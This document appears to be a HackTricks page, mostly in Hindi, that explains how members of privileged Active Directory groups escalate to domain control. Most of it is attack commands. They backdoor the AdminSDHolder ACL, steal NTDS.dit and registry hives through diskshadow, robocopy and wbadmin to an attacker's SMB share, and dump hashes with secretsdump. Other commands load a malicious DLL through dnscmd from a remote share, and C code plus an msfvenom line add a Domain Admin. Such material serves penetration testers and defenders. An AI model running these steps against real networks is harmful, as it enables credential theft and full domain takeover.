hacktricks/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

24 KiB

विशेष समूह

{{#include ../../banners/hacktricks-training.md}}

प्रशासनिक विशेषाधिकार वाले प्रसिद्ध समूह

  • Administrators
  • Domain Admins
  • Enterprise Admins

खाता ऑपरेटर

यह समूह डोमेन पर प्रशासनिक नहीं होने वाले खातों और समूहों को बनाने के लिए सक्षम है। इसके अतिरिक्त, यह डोमेन कंट्रोलर (DC) पर स्थानीय लॉगिन की अनुमति देता है।

इस समूह के सदस्यों की पहचान करने के लिए, निम्नलिखित कमांड निष्पादित की जाती है:

Get-NetGroupMember -Identity "Account Operators" -Recurse

नए उपयोगकर्ताओं को जोड़ना अनुमति है, साथ ही DC01 पर स्थानीय लॉगिन भी।

AdminSDHolder समूह

AdminSDHolder समूह की एक्सेस कंट्रोल लिस्ट (ACL) महत्वपूर्ण है क्योंकि यह सक्रिय निर्देशिका के भीतर सभी "संरक्षित समूहों" के लिए अनुमतियों को सेट करती है, जिसमें उच्च-विशेषाधिकार समूह शामिल हैं। यह तंत्र इन समूहों की सुरक्षा सुनिश्चित करता है, जिससे अनधिकृत संशोधनों को रोका जा सके।

एक हमलावर इसको AdminSDHolder समूह की ACL को संशोधित करके भुनाने का प्रयास कर सकता है, जिससे एक मानक उपयोगकर्ता को पूर्ण अनुमतियाँ मिल जाएँगी। इससे उस उपयोगकर्ता को सभी संरक्षित समूहों पर पूर्ण नियंत्रण मिल जाएगा। यदि इस उपयोगकर्ता की अनुमतियों को संशोधित या हटा दिया जाता है, तो उन्हें सिस्टम के डिज़ाइन के कारण एक घंटे के भीतर स्वचालित रूप से पुनर्स्थापित कर दिया जाएगा।

सदस्यों की समीक्षा करने और अनुमतियों को संशोधित करने के लिए कमांड में शामिल हैं:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

एक स्क्रिप्ट उपलब्ध है जो पुनर्स्थापन प्रक्रिया को तेज करती है: Invoke-ADSDPropagation.ps1.

अधिक जानकारी के लिए, ired.team पर जाएं।

AD रीसाइक्ल बिन

इस समूह में सदस्यता हटाए गए Active Directory ऑब्जेक्ट्स को पढ़ने की अनुमति देती है, जो संवेदनशील जानकारी प्रकट कर सकती है:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

डोमेन कंट्रोलर एक्सेस

DC पर फ़ाइलों तक पहुँच प्रतिबंधित है जब तक कि उपयोगकर्ता Server Operators समूह का हिस्सा न हो, जो पहुँच के स्तर को बदलता है।

विशेषाधिकार वृद्धि

Sysinternals से PsService या sc का उपयोग करके, कोई सेवा अनुमतियों का निरीक्षण और संशोधन कर सकता है। उदाहरण के लिए, Server Operators समूह को कुछ सेवाओं पर पूर्ण नियंत्रण प्राप्त है, जिससे मनचाहे आदेशों का निष्पादन और विशेषाधिकार वृद्धि की अनुमति मिलती है:

C:\> .\PsService.exe security AppReadiness

यह कमांड दिखाता है कि Server Operators के पास पूर्ण पहुंच है, जो उच्चाधिकार के लिए सेवाओं में हेरफेर करने की अनुमति देता है।

Backup Operators

Backup Operators समूह में सदस्यता DC01 फ़ाइल प्रणाली तक पहुंच प्रदान करती है क्योंकि इसमें SeBackup और SeRestore विशेषताएँ होती हैं। ये विशेषताएँ फ़ोल्डर traversal, सूची बनाने और फ़ाइलों की कॉपी करने की क्षमताएँ सक्षम करती हैं, यहां तक कि स्पष्ट अनुमतियों के बिना, FILE_FLAG_BACKUP_SEMANTICS ध्वज का उपयोग करते हुए। इस प्रक्रिया के लिए विशिष्ट स्क्रिप्ट का उपयोग करना आवश्यक है।

समूह के सदस्यों की सूची बनाने के लिए, निष्पादित करें:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

स्थानीय हमला

इन विशेषाधिकारों का स्थानीय रूप से लाभ उठाने के लिए, निम्नलिखित चरणों का उपयोग किया जाता है:

  1. आवश्यक पुस्तकालयों को आयात करें:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. SeBackupPrivilege को सक्षम करें और सत्यापित करें:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. प्रतिबंधित निर्देशिकाओं से फ़ाइलों तक पहुँचें और उन्हें कॉपी करें, उदाहरण के लिए:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD हमला

डोमेन कंट्रोलर की फ़ाइल प्रणाली तक सीधी पहुँच NTDS.dit डेटाबेस की चोरी की अनुमति देती है, जिसमें डोमेन उपयोगकर्ताओं और कंप्यूटरों के सभी NTLM हैश होते हैं।

diskshadow.exe का उपयोग करना

  1. C ड्राइव की एक शैडो कॉपी बनाएं:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. NTDS.dit को शैडो कॉपी से कॉपी करें:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

वैकल्पिक रूप से, फ़ाइल कॉपी करने के लिए robocopy का उपयोग करें:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. हैश पुनर्प्राप्ति के लिए SYSTEM और SAM निकालें:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. NTDS.dit से सभी हैश प्राप्त करें:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

wbadmin.exe का उपयोग करना

  1. हमलावर मशीन पर SMB सर्वर के लिए NTFS फ़ाइल सिस्टम सेट करें और लक्षित मशीन पर SMB क्रेडेंशियल्स कैश करें।
  2. सिस्टम बैकअप और NTDS.dit निष्कर्षण के लिए wbadmin.exe का उपयोग करें:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

व्यावहारिक प्रदर्शन के लिए, देखें DEMO VIDEO WITH IPPSEC.

DnsAdmins

DnsAdmins समूह के सदस्य अपने विशेषाधिकारों का उपयोग करके DNS सर्वर पर SYSTEM विशेषाधिकारों के साथ एक मनमाना DLL लोड कर सकते हैं, जो अक्सर डोमेन कंट्रोलर्स पर होस्ट किया जाता है। यह क्षमता महत्वपूर्ण शोषण की संभावना प्रदान करती है।

DnsAdmins समूह के सदस्यों की सूची बनाने के लिए, उपयोग करें:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

मनमाने DLL को निष्पादित करें

सदस्य DNS सर्वर को मनमाना DLL (या तो स्थानीय रूप से या किसी दूरस्थ शेयर से) लोड करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DNS सेवा को पुनः प्रारंभ करना (जिसके लिए अतिरिक्त अनुमतियों की आवश्यकता हो सकती है) DLL को लोड करने के लिए आवश्यक है:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

For more details on this attack vector, refer to ired.team.

Mimilib.dll

यह भी संभव है कि कमांड निष्पादन के लिए mimilib.dll का उपयोग किया जाए, इसे विशिष्ट कमांड या रिवर्स शेल निष्पादित करने के लिए संशोधित किया जाए। Check this post for more information.

WPAD Record for MitM

DnsAdmins DNS रिकॉर्ड को मैन-इन-द-मिडल (MitM) हमलों को करने के लिए हेरफेर कर सकते हैं, वैश्विक क्वेरी ब्लॉक सूची को अक्षम करने के बाद WPAD रिकॉर्ड बनाकर। Responder या Inveigh जैसे उपकरणों का उपयोग स्पूफिंग और नेटवर्क ट्रैफ़िक कैप्चर करने के लिए किया जा सकता है।

Event Log Readers

सदस्य इवेंट लॉग्स तक पहुँच सकते हैं, संभावित रूप से संवेदनशील जानकारी जैसे कि प्लेनटेक्स्ट पासवर्ड या कमांड निष्पादन विवरण खोज सकते हैं:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

यह समूह डोमेन ऑब्जेक्ट पर DACLs को संशोधित कर सकता है, संभावित रूप से DCSync विशेषाधिकार प्रदान कर सकता है। इस समूह का उपयोग करके विशेषाधिकार वृद्धि के लिए तकनीकों का विवरण Exchange-AD-Privesc GitHub repo में दिया गया है।

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V प्रशासक

Hyper-V प्रशासकों को Hyper-V पर पूर्ण पहुंच होती है, जिसका उपयोग वर्चुअलाइज्ड डोमेन कंट्रोलर्स पर नियंत्रण प्राप्त करने के लिए किया जा सकता है। इसमें लाइव DCs को क्लोन करना और NTDS.dit फ़ाइल से NTLM हैश निकालना शामिल है।

शोषण उदाहरण

Firefox का Mozilla Maintenance Service Hyper-V प्रशासकों द्वारा SYSTEM के रूप में कमांड निष्पादित करने के लिए शोषित किया जा सकता है। इसमें एक सुरक्षित SYSTEM फ़ाइल के लिए एक हार्ड लिंक बनाना और इसे एक दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल से बदलना शामिल है:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

नोट: हार्ड लिंक शोषण हाल के Windows अपडेट में कम किया गया है।

संगठन प्रबंधन

उन वातावरणों में जहां Microsoft Exchange तैनात है, एक विशेष समूह जिसे संगठन प्रबंधन कहा जाता है, महत्वपूर्ण क्षमताएँ रखता है। यह समूह सभी डोमेन उपयोगकर्ताओं के मेलबॉक्सों तक पहुँच प्राप्त करने के लिए विशेषाधिकार प्राप्त है और 'Microsoft Exchange सुरक्षा समूहों' संगठनात्मक इकाई (OU) पर पूर्ण नियंत्रण बनाए रखता है। इस नियंत्रण में Exchange Windows Permissions समूह शामिल है, जिसका उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है।

विशेषाधिकार शोषण और कमांड

प्रिंट ऑपरेटर

प्रिंट ऑपरेटर समूह के सदस्यों को कई विशेषाधिकार प्राप्त होते हैं, जिसमें SeLoadDriverPrivilege शामिल है, जो उन्हें डोमेन कंट्रोलर पर स्थानीय रूप से लॉग ऑन करने, उसे बंद करने और प्रिंटर प्रबंधित करने की अनुमति देता है। इन विशेषाधिकारों का शोषण करने के लिए, विशेष रूप से यदि SeLoadDriverPrivilege एक निम्न स्तर के संदर्भ में दिखाई नहीं देता है, तो उपयोगकर्ता खाता नियंत्रण (UAC) को बायपास करना आवश्यक है।

इस समूह के सदस्यों की सूची बनाने के लिए, निम्नलिखित PowerShell कमांड का उपयोग किया जाता है:

Get-NetGroupMember -Identity "Print Operators" -Recurse

SeLoadDriverPrivilege से संबंधित अधिक विस्तृत शोषण तकनीकों के लिए, किसी को विशिष्ट सुरक्षा संसाधनों से परामर्श करना चाहिए।

Remote Desktop Users

इस समूह के सदस्यों को Remote Desktop Protocol (RDP) के माध्यम से PCs तक पहुँच प्रदान की जाती है। इन सदस्यों की गणना करने के लिए, PowerShell कमांड उपलब्ध हैं:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

RDP का शोषण करने के लिए और जानकारी समर्पित pentesting संसाधनों में पाई जा सकती है।

रिमोट प्रबंधन उपयोगकर्ता

सदस्य Windows Remote Management (WinRM) के माध्यम से PCs तक पहुँच सकते हैं। इन सदस्यों की गणना निम्नलिखित के माध्यम से की जाती है:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

WinRM से संबंधित शोषण तकनीकों के लिए, विशेष दस्तावेज़ों का संदर्भ लिया जाना चाहिए।

सर्वर ऑपरेटर

इस समूह को डोमेन कंट्रोलर्स पर विभिन्न कॉन्फ़िगरेशन करने की अनुमति है, जिसमें बैकअप और पुनर्स्थापना विशेषाधिकार, सिस्टम समय बदलना, और सिस्टम को बंद करना शामिल है। सदस्यों की गणना करने के लिए, प्रदान किया गया आदेश है:

Get-NetGroupMember -Identity "Server Operators" -Recurse

References

{{#include ../../banners/hacktricks-training.md}}